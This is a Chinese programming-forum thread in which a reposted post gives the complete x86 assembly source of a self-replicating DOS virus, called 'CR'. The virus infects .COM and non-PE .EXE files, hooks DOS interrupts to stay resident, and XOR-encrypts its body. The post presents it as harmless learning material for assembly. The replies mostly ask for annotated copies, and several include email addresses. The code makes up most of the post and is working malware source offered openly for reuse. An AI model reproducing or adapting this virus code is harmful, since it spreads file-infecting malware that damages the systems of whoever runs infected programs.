回 帖 发 新 帖 刷新版面

主题:[转帖]自己用汇编语言写的一个病毒(源码)

这个病毒虽然比较简单。但是麻雀虽小,五脏俱全。隐藏,感染,加密等模块应有尽有(只是不会破坏),是一个比较标准的DOS病毒,可以感染.EXE(不包括PE)和.COM的可执行文件。
如果您希望学习汇编语言,用这个程序作为入门指导倒是比较合适的。
染毒文件会被打上“CR”的标记,我们姑且称它为CR病毒吧。
baseoff equ 107h

code    segment
    assume cs:code,ds:code,es:code,ss:code
    org 100h
main:    
    mov ax,offset begin
    jmp ax
    
    db 'cr'
        
begin:    
    push es
    push ds
    
    mov ax,cs
    mov ds,ax
    mov es,ax
    
    call get_ip    
    push ax
    mov ax,offset encodebegin
    jmp short get_ip_end
    
oldhead    db 0h,4ch,0cdh,21h,6 dup (?)

get_ip    label near
    mov bp,sp
    mov bx,[bp]
    ret
get_ip_end:
    sub bx,112h        ;get current offset
    add ax,bx
    push ax
    pop di
    mov si,di
    cld
    mov cx, offset endtag-offset encodebegin
    mov dl, byte ptr [oldhead+bx]
    push si
decode:    
    lodsb
    xor al,dl
    stosb            ;decode at runtime
    loop decode
    retf            ;retf  cs:ip=encodebegin
    db 62h
    db 65h

encodebegin:
    mov ax,9f80h
    mov es,ax
    cmp es:word ptr [virustag-baseoff],7263h
    jz alreadyresident        
    
    push ds    
    mov ax,40h
    mov ds,ax
    mov di,13h    ;get free memory
    sub word ptr [di],2
    pop ds

    mov di,0
    mov si,bx
    add si,baseoff
    mov cx,2048
    cld

    rep movsb    ;resident in memory
    
    nop
    push bx
    
    mov ax,9f80h
    mov ds,ax
    mov ax,3521h
    int 21h
    mov ds:word ptr[oldint21-baseoff],bx
    mov dx,bx
    mov ds:word ptr[oldint21-baseoff+2h],es
    
    mov dx,offset newint21proc-baseoff
    mov ax,2521h
    int 21h

    mov dx,offset newint12proc-baseoff
    mov ax,2512h
    int 21h
    pop bx
    
alreadyresident:
    mov ax,cs
    mov ds,ax
    mov es,ax
    mov si,offset oldhead
    add si,bx
    mov di,0100h
    
    cmp cs:word ptr oldhead[bx],6163h    ;this is an infected EXE file
    jz GotoExe
    
    cld
    mov cx,7
    rep movsb
    
    pop ds
    pop es
    
    cmp cs:word ptr oldhead[bx],4c00h
    jz go_out
GotoOldHead:                    ;this is an infected COM file
    mov ax,0100h
    jmp ax
GotoExe:
    pop ds
    pop es
    mov ax,ds
    add ax,cs:ini_ss[bx]            ;set old ss
    add ax,10h
    mov ss,ax
    mov ax,cs:ini_sp[bx]            ;set old sp
    mov sp,ax
    mov ax,ds
    add ax,10h
    add cs:ini_cs[bx],ax            ;set old cs
    jmp cs:dword ptr ini_ip[bx]        ;jump to the normal EXE
go_out:
    mov ah,4ch
    int 21h
    
oldint21 dw 2 dup(?)
filehead db 18h dup (?)
filesize dw 2 dup(?)
virustag db 'cr'
infecthead:    
    mov ax,offset begin
    jmp ax
    db 'cr'
temp    dw ?

ini_ip    dw ?
ini_cs    dw ?
ini_ss    dw ?
ini_sp    dw ?

newint21proc:
    cmp ah,4bh
    jz tryinfect
    jmp int21h
tryinfect:
    push ax            ;begin to infect
    push cx
    push es
    push di
    push bx
    push dx
    push ds

    mov ax,3d02h
    int 21h
    jnc openok
    jmp notinfect        ;open fail? not infect
openok:    
    push ds
    push dx
    push cs
    pop ds
    mov dx,offset filehead-baseoff
    mov bx,ax
    mov cx,18h
    mov ah,3fh
    int 21h    
    pop dx
    pop ds
    jc closefilenear        ;read fail? not infect
    
    mov di,offset filehead-baseoff
    mov ax,9f80h
    mov es,ax
    
    cmp word ptr es:[di],5a4dh    ;'MZ' in head? EXE file...
    jnz COM_infect
    jmp EXE_infect
    
COM_infect:    
    cmp word ptr es:[di+5],7263h    ;'cr' in 105h? not infect
    jz closefilenear   

    call getfilesize
    cmp dx,0
    jnz closefilenear            ; file is too big..not infect
    cmp ax,63000
    ja  closefilenear            ; file is too big..not infect
    cmp ax,10
    jb  closefilenear            ; file is too small..not infect
    
    ;infect begin,hahahahaha....
    jmp infectbegin
closefilenear:
    jmp closefile
infectbegin:    
    mov ax,9f80h
    mov ds,ax
    mov es,ax
    mov si,offset filehead-baseoff
    mov di,offset oldhead-baseoff
    mov cx,10
    cld
    rep movsb            ;save the old file head
    
    call addvirustofile
    call mov_ptr_to_head


    mov di,offset infecthead-baseoff
    mov dx,di
    inc di
    mov cx,word ptr [filesize-baseoff]
    add cx,100h
    mov word ptr [di],cx
    mov cx,7
    mov ah,40h
    int 21h
    
    
closefile:
    mov ah,3eh
    int 21h                ; close the file
    
notinfect:
    pop ds
    pop dx
    pop bx
    pop di
    pop es
    pop cx
    pop ax
int21h:    jmp dword ptr cs:[oldint21-baseoff]
    
getfilesize proc near
    mov ax,4202h
    xor cx,cx
    xor dx,dx
    int 21h
    jc  closefile
    mov es:word ptr [filesize-baseoff],ax
    mov es:word ptr [filesize-baseoff+2],dx        ;save the file size
    ret
getfilesize endp

addvirustofile proc near
    xor dx,dx
    mov ah,40h
    mov cx,offset encodebegin-offset begin
    int 21h
    jc closefile            ;write fail... not infect
    cmp ax,cx
    jb closefile            ;write fail... not infect
    
    mov cx,(offset endtag-offset encodebegin)/2+(offset endtag-offset encodebegin)MOD 2
    mov dl,byte ptr oldhead-baseoff
    mov dh,dl
    mov di,dx
    mov si,offset encodebegin-baseoff
    mov dx,offset temp-baseoff
encode_myself:
    push cx
    lodsw
    xor ax,di            ;encode and then write into file
    mov temp-baseoff,ax
    mov ah,40h
    mov cx,2
    int 21h
    jc closefile            ;write fail... not infect
    cmp ax,cx
    jb closefile            ;write fail... not infect
    pop cx
    loop encode_myself
    ret
addvirustofile endp    

mov_ptr_to_head proc near
    mov ax,4200h
    xor cx,cx
    xor dx,dx
    int 21h
    jc closefile    
    ret
mov_ptr_to_head endp


EXE_infect proc near

    mov ax,es:word ptr[di+2]        ;exe size in the last sector
    mov dx,es:word ptr[di+4]        ;total sectors of exe size
    push di
    dec dx
    mov cx,9
    xor si,si
get_size_in_head:
    shl dx,1
    shl si,1
    adc si,0
    loop get_size_in_head
    add dx,ax
    adc si,0
    mov di,dx
    
    call getfilesize            ;get the exe file size
    cmp dx,si
    jnz exe_end_near            ;not equal(file size and loading size)
    cmp dx,0fh                ;not infect
    ja  exe_end_near
    cmp ax,di
    pop di
    jnz exe_end_near
    
    jmp begininfectexe
exe_end_near:
    jmp exe_end
    
    ;begin to infect exe
begininfectexe:    
    mov ax,writesize+10
    mov cl,9
    
    add ax,es:word ptr[di+2]        ;add exe loading size
    mov si,ax
    and ax,1ffh
    mov es:word ptr[di+2],ax
    shr si,cl
    add es:word ptr[di+4],si

    push es
    pop ds

    mov word ptr[oldhead-baseoff],6163h    ;write EXE's tag
    mov ax,[di+14h]
    mov [ini_ip-baseoff],ax
    mov ax,[di+16h]
    mov [ini_cs-baseoff],ax
    mov ax,[di+10h]
    mov [ini_sp-baseoff],ax
    mov ax,[di+0eh]
    mov [ini_ss-baseoff],ax            ;save the old ss,sp,cs,ip
        
    push di
    call addvirustofile
    pop di
    call mov_ptr_to_head

    mov ax,filesize-baseoff
    mov dx,[di+08h]
    mov cl,4
    shl dx,cl                ;dx=exe header size
    sub ax,dx
    push ax
    and ax,0fh
    mov [di+14h],ax                ;modify sp,ip
    mov [di+10h],writesize+50
    add word ptr [di+0ah],writesize/16+1    ;add the memory needed
    pop ax
    mov dx,filesize+2-baseoff
    mov cl,4
modify_cs:
    shr dx,1
    rcr ax,1
    loop modify_cs
    mov [di+16h],ax                
    mov [di+0eh],ax                ;modify cs and ss
    
    mov dx,di
    mov cx,18h
    mov ah,40h
    int 21h

exe_end:
    jmp closefile
EXE_infect endp
    
newint12proc:
    mov ax,640
    iret
writesize    equ $-begin
endtag:
code    ends
    end main

回复列表 (共77个回复)

21 楼

楼主,你实在太强了,如果可以得话也请发份给我,加上注释,感激万分!!!^_^
huxueh@126.com

22 楼

楼主能不能传我一份,加上注释的。
谢谢了。我急用。万分谢谢。

23 楼

楼主能不能传我一份?加上注释的。我急用。谢谢了。万分感谢。

24 楼

楼主能不能传我一份?加上注释的。我急用。谢谢了。万分感谢。

25 楼

能不能解释添上阿

26 楼

楼主
    :我想把你加到我的QQ里面,好联系我现在也正在学习请你指教,

不要拒绝我好吗?谢谢!![em18]

27 楼

这段程序好像在网上有。。。。。。

28 楼

好佩服啊,我决定一定要学好这东西

29 楼

能不能写上注是啊,这样像我们的菜鸟看不懂

30 楼

楼主,我也想要一份解释,能不能顺便发一份给我啊
谢谢了~~
simaoli246@yeah.net

我来回复

您尚未登录,请登录后再回复。点此登录或注册